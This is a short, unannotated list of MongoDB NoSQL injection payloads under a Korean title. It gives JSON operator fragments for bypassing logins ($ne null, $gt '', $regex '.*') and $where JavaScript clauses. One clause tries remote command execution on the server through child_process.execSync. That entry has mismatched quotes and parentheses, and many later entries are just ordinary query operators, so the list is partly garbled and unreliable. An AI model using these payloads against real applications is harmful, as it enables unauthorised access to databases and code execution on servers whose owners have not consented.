[MongoDB] NoSQL 인젝션 페이로드

 

{ "username": "user" }
{ "username": { "$ne": null } }
{ "username": { "$in": ["user", "admin"] } }
{ "username": { "$gt": "" } }
{ "username": { "$lt": "" } }
{ "username": { "$regex": ".*" } }
{ "username": { "$exists": true } }
{ "username": { "$exists": false } }
{ "username": { "$not": { "$regex": ".*" } } }
{ "username": { "$or": [{ "$eq": "admin" }, { "$eq": "user" }] } }
{ "username": { "$and": [{ "$eq": "user" }, { "$ne": "admin" }] } }
{ "username": { "$where": "this.field.constructor('return process.mainModule.require(\"child_process\").execSync(\"ls\").toString()')()")" } }
{ "$where": "this.username == 'admin'" }
{ "$where": "this.username == 'user' || this.username == 'admin'" }
{ "$where": "this.username == 'user' && this.password == 'password'" }
{ "$where": "this.username == 'user' && this.field == 'value'" }
{ "field": { "$not": { "$gt": "" } } }
{ "field": { "$elemMatch": { "$gt": "" } } }
{ "field": { "$size": 5 } }
{ "field": { "$type": "string" } }
{ "field": { "$type": 2 } }
{ "field": { "$all": ["value1", "value2"] } }
{ "field": { "$not": { "$all": ["value1", "value2"] } } }
{ "field": { "$exists": true, "$type": "number" } }
{ "field": { "$exists": true, "$type": "string" } }
{ "field": { "$exists": true, "$size": 3 } }
{ "field": { "$gt": 5, "$lt": 10 } }
{ "field": { "$gte": 5, "$lte": 10 } }
{ "field": { "$eq": "" } }
{ "field": { "$ne": "value" } }
{ "field": { "$in": [1, 2, 3] } }